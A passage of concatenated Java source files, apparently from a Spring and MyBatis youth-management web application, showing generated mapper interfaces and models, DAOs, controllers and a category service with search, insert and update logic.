vn.youthmanager.ict.common.db.mapper.QltnMSpecializedMapper; import vn.youthmanager.ict.common.db.mapper.QltnMStatusMapper; import vn.youthmanager.ict.common.db.mapper.QltnMTownMapper; import vn.youthmanager.ict.common.db.mapper.QltnMUniversityMapper; import vn.youthmanager.ict.common.db.mapper.QltnMWardsMapper; import vn.youthmanager.ict.youth.db.mapper.Sym0016Mapper; import vn.youthmanager.ict.youth.db.mapper.Sym0041Mapper; /** * * @author nylf1992 * */ @Component public class Sym0040Dao { @Autowired private QltnMPersonMapper QltnMPersonMapper; @Autowired private QltnMReportMapper qltnMReportMapper; @Autowired private Sym0016Mapper sym0016Mapper; @Autowired private Sym0041Mapper sym0041Mapper; @Autowired private QltnMCityMapper qltnMCityMapper; @Autowired private QltnMCountryMapper qltnMCountryMapper; @Autowired private QltnMDistrictMapper qltnMDistrictMapper; @Autowired private QltnMWardsMapper qltnMWardsMapper; @Autowired private QltnMTownMapper qltnMTownMapper; @Autowired private QltnMGroupsMapper qltnMGroupsMapper; @Autowired private QltnMCategoryMapper qltnMCategoryMapper; @Autowired private QltnMStatusMapper qltnMStatusMapper; @Autowired private QltnMEducationalMapper qltnMEducationalMapper; @Autowired private QltnMSpecializedMapper qltnMSpecializedMapper; @Autowired private QltnMUniversityMapper qltnMUniversityMapper; @Autowired private QltnMDetailReportMapper qltnMDetailReportMapper; public Sym0016Mapper getSym0016Mapper() { return sym0016Mapper; } public QltnMCityMapper getQltnMCityMapper() { return qltnMCityMapper; } public QltnMCountryMapper getQltnMCountryMapper() { return qltnMCountryMapper; } public QltnMDistrictMapper getQltnMDistrictMapper() { return qltnMDistrictMapper; } public QltnMWardsMapper getQltnMWardsMapper() { return qltnMWardsMapper; } public QltnMTownMapper getQltnMTownMapper() { return qltnMTownMapper; } public QltnMGroupsMapper getQltnMGroupsMapper() { return qltnMGroupsMapper; } public QltnMCategoryMapper getQltnMCategoryMapper() { return qltnMCategoryMapper; } public QltnMStatusMapper getQltnMStatusMapper() { return qltnMStatusMapper; } public QltnMEducationalMapper getQltnMEducationalMapper() { return qltnMEducationalMapper; } public QltnMSpecializedMapper getQltnMSpecializedMapper() { return qltnMSpecializedMapper; } public QltnMUniversityMapper getQltnMUniversityMapper() { return qltnMUniversityMapper; } public QltnMReportMapper getQltnMReportMapper() { return qltnMReportMapper; } public QltnMPersonMapper getQltnMPersonMapper() { return QltnMPersonMapper; } public Sym0041Mapper getSym0041Mapper() { return sym0041Mapper; } public QltnMDetailReportMapper getQltnMDetailReportMapper() { return qltnMDetailReportMapper; } } ``` QltnMEducationalMapper.java ```package vn.youthmanager.ict.common.db.mapper; import java.util.List; import org.apache.ibatis.annotations.Param; import vn.youthmanager.ict.common.db.model.QltnMEducational; import vn.youthmanager.ict.common.db.model.QltnMEducationalExample; public interface QltnMEducationalMapper { /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_educational * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int countByExample(QltnMEducationalExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_educational * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int deleteByExample(QltnMEducationalExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_educational * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int deleteByPrimaryKey(String educationId); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_educational * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int insert(QltnMEducational record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_educational * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int insertSelective(QltnMEducational record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_educational * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ List<QltnMEducational> selectByExample(QltnMEducationalExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_educational * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ QltnMEducational selectByPrimaryKey(String educationId); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_educational * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int updateByExampleSelective(@Param("record") QltnMEducational record, @Param("example") QltnMEducationalExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_educational * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int updateByExample(@Param("record") QltnMEducational record, @Param("example") QltnMEducationalExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_educational * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int updateByPrimaryKeySelective(QltnMEducational record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_educational * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int updateByPrimaryKey(QltnMEducational record); }``` 93eb3a320b349722b4f79373069284f3999fdde4.svn-base ```package vn.youthmanager.ict.common.db.mapper; import java.util.List; import org.apache.ibatis.annotations.Param; import vn.youthmanager.ict.common.db.model.QltnMCity; import vn.youthmanager.ict.common.db.model.QltnMCityExample; public interface QltnMCityMapper { /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_city * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int countByExample(QltnMCityExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_city * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int deleteByExample(QltnMCityExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_city * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int deleteByPrimaryKey(String cityId); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_city * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int insert(QltnMCity record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_city * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int insertSelective(QltnMCity record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_city * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ List<QltnMCity> selectByExample(QltnMCityExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_city * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ QltnMCity selectByPrimaryKey(String cityId); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_city * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int updateByExampleSelective(@Param("record") QltnMCity record, @Param("example") QltnMCityExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_city * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int updateByExample(@Param("record") QltnMCity record, @Param("example") QltnMCityExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_city * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int updateByPrimaryKeySelective(QltnMCity record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_city * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int updateByPrimaryKey(QltnMCity record); }``` Sym0023Dao.java ```package vn.youthmanager.ict.youth.dao; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; import vn.youthmanager.ict.youth.db.mapper.Sym0023Mapper; /** * * @author nylf1992 * */ @Component public class Sym0023Dao { @Autowired private Sym0023Mapper sym0023Mapper; public Sym0023Mapper getSym0023Mapper() { return sym0023Mapper; } } ``` QltnMNoteReportMapper.java ```package vn.youthmanager.ict.common.db.mapper; import java.util.List; import org.apache.ibatis.annotations.Param; import vn.youthmanager.ict.common.db.model.QltnMNoteReport; import vn.youthmanager.ict.common.db.model.QltnMNoteReportExample; import vn.youthmanager.ict.common.db.model.QltnMNoteReportKey; public interface QltnMNoteReportMapper { /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_note_report * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ int countByExample(QltnMNoteReportExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_note_report * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ int deleteByExample(QltnMNoteReportExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_note_report * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ int deleteByPrimaryKey(QltnMNoteReportKey key); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_note_report * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ int insert(QltnMNoteReport record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_note_report * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ int insertSelective(QltnMNoteReport record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_note_report * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ List<QltnMNoteReport> selectByExample(QltnMNoteReportExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_note_report * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ QltnMNoteReport selectByPrimaryKey(QltnMNoteReportKey key); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_note_report * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ int updateByExampleSelective(@Param("record") QltnMNoteReport record, @Param("example") QltnMNoteReportExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_note_report * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ int updateByExample(@Param("record") QltnMNoteReport record, @Param("example") QltnMNoteReportExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_note_report * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ int updateByPrimaryKeySelective(QltnMNoteReport record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_note_report * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ int updateByPrimaryKey(QltnMNoteReport record); }``` Sym0053Service.java ```package vn.youthmanager.ict.youth.service; import java.util.HashMap; import java.util.List; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.ui.Model; import com.fasterxml.jackson.core.JsonProcessingException; import com.fasterxml.jackson.databind.ObjectMapper; import vn.youthmanager.ict.youth.dao.Sym0053Dao; import vn.youthmanager.ict.youth.db.model.Sym0053Result; @Service public class Sym0053Service { @Autowired private Sym0053Dao sym0053Dao; ObjectMapper mapper = new ObjectMapper(); public void initDataNoteReport(Model model, String personId) { // create Map HashMap<String, Object> params = new HashMap<String, Object>(); params.put("personId", personId); List<Sym0053Result> list0053 = sym0053Dao.getSym0053Mapper().getNoteReport(params); List<Sym0053Result> list0053NoteReport = sym0053Dao.getSym0053Mapper().getCriteria(params); try { model.addAttribute("listJs0053", mapper.writeValueAsString(list0053NoteReport)); } catch (JsonProcessingException e) { // TODO Auto-generated catch block e.printStackTrace(); } model.addAttribute("list0053", list0053); } } ``` QltnMPersonMapper.java ```package vn.youthmanager.ict.common.db.mapper; import java.util.List; import org.apache.ibatis.annotations.Param; import vn.youthmanager.ict.common.db.model.QltnMPerson; import vn.youthmanager.ict.common.db.model.QltnMPersonExample; public interface QltnMPersonMapper { /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_person * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ int countByExample(QltnMPersonExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_person * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ int deleteByExample(QltnMPersonExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_person * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ int deleteByPrimaryKey(String personId); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_person * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ int insert(QltnMPerson record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_person * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ int insertSelective(QltnMPerson record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_person * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ List<QltnMPerson> selectByExample(QltnMPersonExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_person * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ QltnMPerson selectByPrimaryKey(String personId); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_person * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ int updateByExampleSelective(@Param("record") QltnMPerson record, @Param("example") QltnMPersonExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_person * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ int updateByExample(@Param("record") QltnMPerson record, @Param("example") QltnMPersonExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_person * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ int updateByPrimaryKeySelective(QltnMPerson record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_person * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ int updateByPrimaryKey(QltnMPerson record); }``` Sym0018Controller.java ```package vn.youthmanager.ict.youth.controller; import java.util.List; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.http.MediaType; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.servlet.mvc.support.RedirectAttributes; import vn.youthmanager.ict.common.db.model.QltnMUniversity; import vn.youthmanager.ict.youth.db.model.Sym0018Conditions; import vn.youthmanager.ict.youth.db.model.Sym0018Result; import vn.youthmanager.ict.youth.service.Sym0018Service; @Controller @RequestMapping(value = "/0018") public class Sym0018Controller { @Autowired private Sym0018Service sym0018Service; @RequestMapping(value = "/", method = RequestMethod.GET) public String top (Model model) { sym0018Service.initData(model, ""); return "youth/0018"; } @RequestMapping(value = "/searchData", method = RequestMethod.POST, consumes = MediaType.APPLICATION_JSON_VALUE) public @ResponseBody List<Sym0018Result> searchData(@RequestBody Sym0018Conditions searchConditions) { return sym0018Service.searchData(searchConditions); } @RequestMapping(value = "/updateData", method = RequestMethod.POST, consumes = MediaType.APPLICATION_JSON_VALUE) public @ResponseBody String updateData(@RequestBody QltnMUniversity cateData) { return sym0018Service.updateData(cateData); } @RequestMapping(value = "/insertData", method = RequestMethod.POST, consumes = MediaType.APPLICATION_JSON_VALUE) public @ResponseBody String insertData(@RequestBody QltnMUniversity cateData) { return sym0018Service.insertData(cateData); } @RequestMapping(value = "/deleteData", method = RequestMethod.POST) public @ResponseBody String deleteData(@RequestParam(value = "universityId") String universityId) { return sym0018Service.deleteData(universityId); } /** * Get Data In Table QLTN_M_UNIVERSITY by University Id. * * @param UniversityId : data from client. * @return List QltnMUniversity. */ @RequestMapping(value = "/getSingleData", method = RequestMethod.POST) public @ResponseBody QltnMUniversity getSingleData(@RequestParam(value = "universityId") String universityId) { return sym0018Service.getSingleData(universityId); } /** * Change page to 0018 and transfer data * @param farmId : farm's id received from client * @return redirect to 0019 and data get from client */ @RequestMapping(value = "/changePage", method = RequestMethod.POST) public String changePage(RedirectAttributes rattrs, @RequestParam(value = "universityId") String universityId) { rattrs.addFlashAttribute("Sym019UniversityData", universityId); return "redirect:../0019/"; } } ``` 28980218160890ece9b838aab89d712796d3cbfe.svn-base ```package vn.youthmanager.ict.common.db.model; public class QltnMPersonWithBLOBs extends QltnMPerson { /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_person.PERMANENT_ADDRESS * * @mbggenerated Sun May 14 11:44:18 ICT 2017 */ private String permanentAddress; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_person.TEMPORARY_RESIDENCE_ADDRESS * * @mbggenerated Sun May 14 11:44:18 ICT 2017 */ private String temporaryResidenceAddress; /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_person.PERMANENT_ADDRESS * * @return the value of qltn_m_person.PERMANENT_ADDRESS * * @mbggenerated Sun May 14 11:44:18 ICT 2017 */ public String getPermanentAddress() { return permanentAddress; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_person.PERMANENT_ADDRESS * * @param permanentAddress the value for qltn_m_person.PERMANENT_ADDRESS * * @mbggenerated Sun May 14 11:44:18 ICT 2017 */ public void setPermanentAddress(String permanentAddress) { this.permanentAddress = permanentAddress; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_person.TEMPORARY_RESIDENCE_ADDRESS * * @return the value of qltn_m_person.TEMPORARY_RESIDENCE_ADDRESS * * @mbggenerated Sun May 14 11:44:18 ICT 2017 */ public String getTemporaryResidenceAddress() { return temporaryResidenceAddress; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_person.TEMPORARY_RESIDENCE_ADDRESS * * @param temporaryResidenceAddress the value for qltn_m_person.TEMPORARY_RESIDENCE_ADDRESS * * @mbggenerated Sun May 14 11:44:18 ICT 2017 */ public void setTemporaryResidenceAddress(String temporaryResidenceAddress) { this.temporaryResidenceAddress = temporaryResidenceAddress; } }``` QltnMNoteReportKey.java ```package vn.youthmanager.ict.common.db.model; public class QltnMNoteReportKey { /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_note_report.NOTE_REPORT_ID * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ private String noteReportId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_note_report.REPORT_ID * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ private String reportId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_note_report.DETAIL_REPORT_ID * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ private String detailReportId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_note_report.PERSON_ID * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ private String personId; /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_note_report.NOTE_REPORT_ID * * @return the value of qltn_m_note_report.NOTE_REPORT_ID * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ public String getNoteReportId() { return noteReportId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_note_report.NOTE_REPORT_ID * * @param noteReportId the value for qltn_m_note_report.NOTE_REPORT_ID * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ public void setNoteReportId(String noteReportId) { this.noteReportId = noteReportId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_note_report.REPORT_ID * * @return the value of qltn_m_note_report.REPORT_ID * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ public String getReportId() { return reportId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_note_report.REPORT_ID * * @param reportId the value for qltn_m_note_report.REPORT_ID * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ public void setReportId(String reportId) { this.reportId = reportId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_note_report.DETAIL_REPORT_ID * * @return the value of qltn_m_note_report.DETAIL_REPORT_ID * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ public String getDetailReportId() { return detailReportId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_note_report.DETAIL_REPORT_ID * * @param detailReportId the value for qltn_m_note_report.DETAIL_REPORT_ID * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ public void setDetailReportId(String detailReportId) { this.detailReportId = detailReportId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_note_report.PERSON_ID * * @return the value of qltn_m_note_report.PERSON_ID * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ public String getPersonId() { return personId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_note_report.PERSON_ID * * @param personId the value for qltn_m_note_report.PERSON_ID * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ public void setPersonId(String personId) { this.personId = personId; } }``` FileUploadController.java ```package vn.youthmanager.ict.common.controller; import java.util.Locale; import javax.servlet.http.HttpServletResponse; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.http.ResponseEntity; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.multipart.MultipartHttpServletRequest; import vn.youthmanager.ict.common.service.FileUploadService; /** * @author Khoa Le */ @Controller @RequestMapping(value = "/fileUploadForm") public class FileUploadController { @Autowired private FileUploadService fileUploadService; /** * Simply selects the home view to render by returning its name. */ @RequestMapping(value = "/", method = RequestMethod.GET) public String top(Locale locale, Model model) { return "common/fileUploadForm"; } /** * Process file uploaded from client * * @param request : MultipartHttpServletRequest * @param response : HttpServletResponse * @return upload result */ @RequestMapping(value = "/upload", method = RequestMethod.POST) public @ResponseBody String upload(MultipartHttpServletRequest request, HttpServletResponse response) { // start uploading String uploadResult = fileUploadService.uploadFile(request); // upload result: -1: failed/1: successful return uploadResult; } /** * Process image loading on client * * @param imageName : image name received from client * @return image data in byte array */ @RequestMapping(value = "/image/{imageName}") @ResponseBody public byte[] getImage(@PathVariable(value = "imageName") String imageName) { return fileUploadService.getImage(imageName); } /** * Delete image * * @param imageName : image name received from client * @return delete result */ @RequestMapping(value = "/deleteImage") @ResponseBody public String deleteImage(@RequestParam(value = "imageName") String imageName) { return fileUploadService.deleteImage(imageName); } /** * Show full image on client * * @param imageName : image name received from client * @return image data in ResponseEntity */ @RequestMapping(value = "/showImage/{imageName}", method = RequestMethod.GET) public ResponseEntity<byte[]> showImage(@PathVariable(value = "imageName") String imageName) { return fileUploadService.showImage(imageName); } } ``` Sym0009Service.java ```package vn.youthmanager.ict.youth.service; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import org.apache.log4j.Logger; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.ApplicationContext; import org.springframework.dao.DuplicateKeyException; import org.springframework.stereotype.Service; import org.springframework.transaction.PlatformTransactionManager; import org.springframework.transaction.TransactionDefinition; import org.springframework.transaction.TransactionStatus; import org.springframework.transaction.support.DefaultTransactionDefinition; import vn.youthmanager.ict.common.cnst.Constants; import vn.youthmanager.ict.common.cnst.LoggerMessage; import vn.youthmanager.ict.common.db.model.QltnMCategory; import vn.youthmanager.ict.common.util.Util; import vn.youthmanager.ict.youth.dao.Sym0009Dao; import vn.youthmanager.ict.youth.db.model.Sym0009Conditions; import vn.youthmanager.ict.youth.db.model.Sym0009Result; @Service public class Sym0009Service { private static Logger logger = Logger.getLogger(Sym0003Service.class); @Autowired private Sym0009Dao sym0009Dao; // Variables definition PlatformTransactionManager txManager; @Autowired private ApplicationContext appContext; /** * Search user in DB based on search conditions received from client * * @param searchConditions : data received from client * @return List of users data */ public List<Sym0009Result> searchData(Sym0009Conditions searchConditions) { List<Sym0009Result> bnn0009ResultList = new ArrayList<Sym0009Result>(); HashMap<String, Object> params = createSearchConditionParams(searchConditions); try { logger.info(LoggerMessage.SEARCHING_STRATED); // search starts bnn0009ResultList = sym0009Dao.getSym0009Mapper().searchData(params); logger.info(LoggerMessage.EXECUTION_FINISHED); if (bnn0009ResultList.size() > 0) { // "real" total from search result String searchDataTotalCounts = sym0009Dao.getSym0009Mapper().getSearchDataTotalCounts(params); bnn0009ResultList.get(0).setSearchDataTotalCounts(searchDataTotalCounts); // handle user input data convertSanitize(bnn0009ResultList); logger.info(LoggerMessage.SEARCHING_FINISHED); logger.info(" ==> " + searchDataTotalCounts + " item(s)"); } else { logger.info(LoggerMessage.SEARCHING_FINISHED); logger.info(LoggerMessage.ZERO_ITEM); } } catch (OutOfMemoryError ex) { ex.printStackTrace(); Sym0009Result tempObj = new Sym0009Result(); tempObj.setSearchDataTotalCounts("-1"); bnn0009ResultList.add(tempObj); } catch (Exception ex) { ex.printStackTrace(); bnn0009ResultList = null; } return bnn0009ResultList; } /** * Create search conditions parameters from data received from client * * @param searchConditions : data received from client * @return HashMap object */ private HashMap<String, Object> createSearchConditionParams(Sym0009Conditions searchConditions) { HashMap<String, Object> params = new HashMap<String, Object>(); // report Name params.put("cateName", searchConditions.getCateName().equals("") ? "" : "%" + searchConditions.getCateName() + "%"); // From parameter params.put("fromRow", Integer.valueOf(searchConditions.getFromRow())); // Number of items in a page params.put("itemCount", Integer.valueOf(searchConditions.getItemCount())); return params; } /** * Handle user input data * * @param inputData : search result data list */ private void convertSanitize(List<Sym0009Result> inputData) { for (int i = 0; i < inputData.size(); i++) { Sym0009Result currentData = inputData.get(i); // User name currentData.setCateName(Util.convertSanitize(currentData.getCateName())); } } /** * Update user's information to DB * * @param userData : data received from client * @return String : update successfully: 1/update failed: -1 */ public String updateData(QltnMCategory reportData) { // variable definition String returnValue = Constants.UPDATE_RESULT_SUCCESSFUL; // update starts try { // check logged in user id if (Util.getUserInfo().getID() == null) { logger.error(LoggerMessage.ERROR_MESSAGE+ "Could not get logged in user's id"); returnValue = Constants.UPDATE_RESULT_FAILED; return returnValue; } // check for Report input if (!checkInputBlankFields(reportData)) { // blank field(s) logger.error(LoggerMessage.ERROR_MESSAGE +"Blank fields"); returnValue = Constants.VALIDATE_BLANK_FIELDS; return returnValue; } // transaction starts DefaultTransactionDefinition def = new DefaultTransactionDefinition(); def.setPropagationBehavior(TransactionDefinition.PROPAGATION_REQUIRED); txManager = (PlatformTransactionManager) appContext.getBean("transactionManager"); TransactionStatus status = txManager.getTransaction(def); try { QltnMCategory cateObj = new QltnMCategory(); // category Id cateObj.setCateId(reportData.getCateId()); // category Name cateObj.setCateName(reportData.getCateName()); // delete flag cateObj.setDeleteFlag(reportData.getDeleteFlag()); // update user id cateObj.setUpdateUserId(Util.getUserInfo().getID()); int result = sym0009Dao.getQltnMCategoryMapper().updateByPrimaryKeySelective(cateObj); if (result > 0) { // update successfully // register to DB txManager.commit(status); } else { returnValue = Constants.UPDATE_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error(LoggerMessage.ERROR_MESSAGE + ex.getMessage()); returnValue = Constants.UPDATE_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error(LoggerMessage.ERROR_MESSAGE + ex.getMessage()); returnValue = Constants.UPDATE_RESULT_FAILED; } return returnValue; } /** * Insert user's information to DB * * @param userData : data received from client * @return String : insert successfully: 1/insert failed: -1 */ public String insertData(QltnMCategory reportData) { // variable definition String returnValue = Constants.INSERT_RESULT_SUCCESSFUL; // insert starts try { // check logged in user id if (Util.getUserInfo().getID() == null) { logger.error("Error message: Could not get logged in user's id"); returnValue = Constants.INSERT_RESULT_FAILED; return returnValue; } // check for user input if (!checkInputBlankFields(reportData)) { // blank field(s) logger.error("Error message: Blank fields"); returnValue = Constants.VALIDATE_BLANK_FIELDS; return returnValue; } // transaction starts DefaultTransactionDefinition def = new DefaultTransactionDefinition(); def.setPropagationBehavior(TransactionDefinition.PROPAGATION_REQUIRED); txManager = (PlatformTransactionManager) appContext.getBean("transactionManager"); TransactionStatus status = txManager.getTransaction(def); try { HashMap<String, Object> params = new HashMap<String, Object>(); params.put("cateIdDefault", Constants.DEFAULT_PARAMS); int idNumber = Integer.parseInt(sym0009Dao.getSym0009Mapper().getLastIdReport(params).substring(1)); if (idNumber < Constants.REPORT_DEFAULT) { idNumber = idNumber + 1; String reportId = Constants.CATE_CHARATER + String.format("%0" + Constants.MAX_LENGHT_ID + "d", idNumber); QltnMCategory cateObj = new QltnMCategory(); // category Id cateObj.setCateId(reportId); // category Name cateObj.setCateName(reportData.getCateName()); // create user id cateObj.setCreateUserId(Util.getUserInfo().getID()); // update user id cateObj.setUpdateUserId(Util.getUserInfo().getID()); // delete flag cateObj.setDeleteFlag(reportData.getDeleteFlag()); int result = sym0009Dao.getQltnMCategoryMapper().insert(cateObj); if (result > 0) { // insert successfully // register to DB txManager.commit(status); } else { returnValue = Constants.INSERT_RESULT_FAILED; txManager.rollback(status); } } } catch (DuplicateKeyException ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_DUPLICATED; txManager.rollback(status); } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_FAILED; } return returnValue; } /** * Delete user from DB * * @param usersId : user's id to delete * @return String : delete successfully: 1/delete failed: -1 */ public String deleteData(String cateId) { // variable definition String returnValue = Constants.DELETE_RESULT_SUCCESSFUL; // delete starts try { // transaction starts DefaultTransactionDefinition def = new DefaultTransactionDefinition(); def.setPropagationBehavior(TransactionDefinition.PROPAGATION_REQUIRED); txManager = (PlatformTransactionManager) appContext.getBean("transactionManager"); TransactionStatus status = txManager.getTransaction(def); try { QltnMCategory qltnMCategory = new QltnMCategory(); qltnMCategory.setCateId(cateId); qltnMCategory.setDeleteFlag(Constants.DELETE_FLAG_ON); int result = sym0009Dao.getQltnMCategoryMapper().updateByPrimaryKey(qltnMCategory); if (result > 0) { // delete successfully // register to DB txManager.commit(status); } else { returnValue = Constants.DELETE_RESULT_FAILED; 